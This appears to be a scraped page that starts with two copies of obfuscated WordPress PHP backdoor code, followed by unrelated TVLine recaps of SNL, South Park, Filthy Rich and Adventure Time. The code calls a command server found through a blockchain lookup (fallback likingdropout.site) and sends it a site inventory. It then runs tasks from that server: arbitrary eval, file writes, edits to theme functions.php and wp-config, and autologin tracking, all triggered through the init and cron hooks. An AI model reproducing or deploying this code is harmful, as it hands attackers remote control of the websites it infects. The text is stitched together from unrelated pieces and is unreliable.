// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Saturday Night Live knows exactly how you spend your Saturday nights… besides watching SNL, of course. During this weekend’s Nick Jonas-hosted episode, the sketch comedy series set its sights on the widely popular obsession with murder shows. In the music video, a husband (played by Jonas) heads out for the evening, leaving his wife (Chloe Fineman) with sole custody of the remote control. With the entire night open to unwind and “do a little self care,” she turns to her go-to source of gruesome entertainment. In the clip — which also featured cast members Kate McKinnon, Melissa Villaseñor and Ego Nwodim — the women sing about their favorite genre of TV, as they watch various elements of horror unfold before them. (“They dig up some bodies and do an autopsy (boring!)/Wake me up when it’s Munchausen by proxy,” sings Nwodim.) From there, it’s all severed limbs, cannibals and “pretty girls scalped at the prom,” as the cast watches all sorts of murder shows while conducting the most basic of tasks like paying taxes, stalking exes on Instagram and yes, even sitting on the toilet. (We’ve never felt so seen.) Jonas reappeared toward the end of the video to add cult shows to the mix, sporting a killer ponytail as he parodied NXIVM leader Keith Raniere. (Watch the full video below.)
Elsewhere in the episode, McKinnon’s Dr. Fauci hosted a vaccine eligibility game show, and first-time host Jonas gave a tuneful salute to Broadway, New York City and everyone affected during the pandemic, before performing his new single, “Spaceman.” What did you think of SNL‘s latest music video? And what did you think of the episode overall? Grade it below, then sound off in the Comments. For months, South Park fans have wondered how the Comedy Central staple would tackle the current state of the world. After Wednesday’s pandemic special, they finally have their answer — and it’s horrifying. Naturally, everyone in South Park takes a slightly different approach to the pandemic. Randy sees it as a business opportunity, proudly calling a summit in the town square to announce that Tegridy Farms is having a “pandemic special,” a 10 percent-off extravaganza. “People are dying, Randy, and all you can think is to make a special about it?” asks voice-of-reason Sharon. But Randy remains confident in his latest venture, and it isn’t long before he’s rubbing his success in his family’s face. That is, until a news report confirms that scientists have pinpointed the origin of the coronavirus to a specific bat in a “seedy part” of Wuhan. The news stops Randy dead in his tracks, as he suddenly recalls having unprotected sex with a bat during his trip to Wuhan. It was during one of his all-night benders with Mickey Mouse, who reminded Randy that a bat is basically just a mouse with wings. It’s a serious wake-up call for Randy, who previously referred to COVID-19 as “some dirty virus from China” and downplayed his brother-in-law’s diagnosis because “Jimbo’s a fat alcoholic who would be in the hospital anyway.” Randy is desperate to hide the truth from his wife because, as he points out, “If she finds out I started the pandemic, she’s going to be a total bitch about it.” Randy is briefly relieved when follow-up tests reveal that the bat is not connected to the pandemic, but a whole new panic sets in when he learns the real creature responsible. It’s a actually a pangolin, and you guessed it — Randy suddenly remembers that he and Mickey had sex with one of those, too. He immediately attempts to cover his tracks, infiltrating the containment lab by posing as a “pandemic specialist.” (By his logic, he’s not lying!) After setting his one-time lover free, Randy thinks he’s in the clear, until Mickey threatens to expose him to the world. Thinking quickly, Randy buys himself some time by testing a new theory: If he can get his DNA into COVID-19 patients, he could vaccinate them without them anyone learning the truth. So he does just that by depositing his specimen (ugh) into a Tegridy joint and delivering it to Jimbo. And wouldn’t you know, it works! So Randy gets down to business, filling his massive supply of weed with his own personal seed. (Grossest rhyme ever.) But while this “special” strain of weed does briefly eliminate symptoms of COVID-19, it comes with an unexpected side effect: a Randy-style mustache! Pretty soon, every stoner in town is rocking his signature ‘stache, forcing Dr. Anthony Fauci to encourage all Americans to start wearing their “face diaper” over their mouth “where the mustache would be.” (Ironically, this is what gets everyone to start wearing their masks correctly.) Then again, things at South Park Elementary School are already a mess, what with most of the teachers being replaced by police officers. As Detective Harris explains, they force has been defunded “due to events beyond our control” and wants to re-establish itself as a leader of the community. Cartman takes advantage of the police presence, starting a fight that leads to Token getting shot. After dismissing the shooting as a “COVID-related” injury, the cops force the entire school into lockdown. The boys make a desperate plea to President Garrison, who only takes their call because they misrepresent themselves as Mr. Slave. (Aww!) They beg him to return to South Park and stop the pandemic, to which he asks, “Why would I do that? I made a promise to the American people to get rid of all the Mexicans.” When the boys remind POTUS that it isn’t only killing Mexicans, he replies, “Well, it’s killing a lot of them. I was doing a crap job until this pandemic happened. I’m going to actively not do anything, and you can eat s–t off my balls and die.” Stans’ attention then turns to a downtrodden Butters; in an attempt to life his spirits, the boys book him an appointment at Build-a-Bear and help him break out out of quarantine. At this point, the townspeople have been whipped into a looting frenzy (doesn’t take much, huh?) until they’re at each other’s throats in the streets. The police claim they can’t get involved because they’ve been defunded, so the mayor signs an executive order to re-fund them. Once again, it takes only a few minutes for them to start shooting innocent children. Just when the madness reaches its apex, Randy decides to come clean, bringing the pangolin out for everyone to see. But Cartman moves surprisingly quickly, snatching the creature and dangling it over the Build-a-Bear machine. (As if it hasn’t been through enough already!) One of Stan’s classic speeches inspires a change of heart within Cartman, so he hands the pangolin over to the scientists, ensuring a vaccine can be made. Sadly, the pangolin — and the scientist holding it — is then burned alive by President Garrison, who pops into the frame to remind everyone, “Don’t forget to get out and vote, everybody! Big election coming up!” Yikes. Was South Park‘s quarantine special everything you hoped it would be? Grade it below, then drop a comment with your full review.
https://tvline.com/wp-content/uploads/2021/02/snl-murder-shows.pngRELATED STORIES
Meanwhile, the children of South Park must readjust to life back in the classroom. They’re all a little hesitant, but no one is more opposed to the return of in-person learning than Cartman, who opens the special with a full-blown musical number about the unbridled pleasures of social distancing. The portly troublemaker, who angrily concludes that “Cartman’s life doesn’t matter,” is determined to make things very uncomfortable for his classmates.
https://tvline.com/wp-content/uploads/2020/09/south-park-pandemic-special-randy.jpg
Coincidentally, that’s also how we meet her character in Monday’s premiere of the new Fox drama Filthy Rich. The woman formerly known as Samantha Jones has been born again as Margaret Monreaux, a millionaire televangelist with a genuinely good heart — and a bit of a forked tongue. Case in point: When she discovers that her late husband fathered a trio of children with three different women, she declares, “I’ve dealt with a lot of bastards to get where I am. These three will be no different.” (Funny, we’re not familiar with that Bible verse.)
Speaking of Margaret’s unholy empire, the premiere also introduces us to her staff, including superstar preacher Paul Luke Thomas (played by Aaron Lazar). Filthy Rich executive producer Tate Taylor promises TVLine that Lazar’s uncanny resemblance to real-life TV minister Joel Osteen is “purely coincidental.” That said, Taylor recalls, “When he auditioned, I went, ‘Are you kidding me right now?’ The good Lord was sending us gifts from heaven.”
Generally speaking, Taylor says, “The show is not pro-Christian, and it’s not anti-Christian. It’s pro-whatever is good for you. I grew up in the Deep South with my grandparents in South Carolina. Jim and Tammy Faye Bakker were on TV all the time. It’s part of our fabric down here, so I just wrote what I knew.”
Things get even more complicated for Margaret when those so-called bastards — Ginger, the owner of an adult webcam service; Antonio, a single father and aspiring boxer; and Jason, a Colorado weed farmer — finally arrive. Partially because there’s way too much sexual tension between them and Margaret’s other children, a subtle theme that quickly becomes too much to overlook.
“I filmed it with all degrees of suggestion so I would have a few options,” Taylor admits of the premiere’s slightly incestuous moments, from Ginger’s suggestive comment in the boardroom to Jason and Rose’s unnerving kiss. “It’s kind of fun when Rose is having that wine and flirting with him. It’s almost cringeworthy, but hopefully it’s more cute. When we showed that scene to the first audience, they were like, ‘Oooh, s–t!’”
Margaret’s first instinct is to buy the trio’s silence, but Ginger — whose mother was romantically involved with Margaret’s husband Eugene for a full year — can tell that she and her new half-siblings are being shortchanged. So she decides to go public via a press conference, only to be thwarted by Margaret, who gets ahead of the story by personally introducing her new family members to the world.
Then comes the biggest twist of all: In the final moments of the episode, we learn that Eugene survived his plane crash. Taylor won’t reveal what Eugene’s future holds, but he does remind TVLine that “this show is about faith and lack thereof, and about finding your peace. It can be tumultuous. We’re going to see that his journey is going to be all over the place, because we’re human and we continue to make mistakes and follow poor instincts. It’s a triumphant journey, but it’s not without its huge mess-ups. And surprises.”
Also worth discussing…
* Potential familial connection aside, was Jason and Rose’s kiss one of the most uncomfortable lip locks you’ve seen on TV? Maybe ever?
* Speaking of Jason, he’s clearly not the real deal, since we saw him collect a spit sample from another guy in a hospital bed, which makes us feel a little better about his kiss with Rose. But only a little. The question now is… Who’s Eugene’s real son? And does he also have abs?
* Isn’t Margaret’s son Eric just the absolute worst? I’m already hoping it’s him in that big burning house.
Your thoughts on Filthy Rich? Vote in our polls below, then drop a comment with your full review.
–
https://tvline.com/wp-content/uploads/2020/09/filthy-rich-episode-1.jpg
Like one of the Ooo’s fateful Catalyst Comets, the first Adventure Time: Distant Lands special landed on HBO Max last month (click here to read our recap!), affording us 45 more minutes of quality time with everyone’s favorite talking video game console.
As is the case with most Adventure Time offerings, however, “BMO” raised just as many questions as it answered. Fortunately, TVLine was able to get executive producer Adam Muto on the line to shed some light on the situation. Read on for our full Q&A:
TVLINE | The last time we talked was for the Adventure Time series finale. When you were putting that together, did you know Distant Lands would be happening, or did you really think the finale was the last we’d see any of these characters?
At the time, there wasn’t particularly a need to have more. But having had some success with the [Stakes, Islands and Elements] miniseries, we sort of pitched that as a way to extend it without just doing more episodes. It was a way we could keep it special and focus on other characters. At the time, they were into the idea, but there wasn’t a place for it, so we just put it on the shelf.
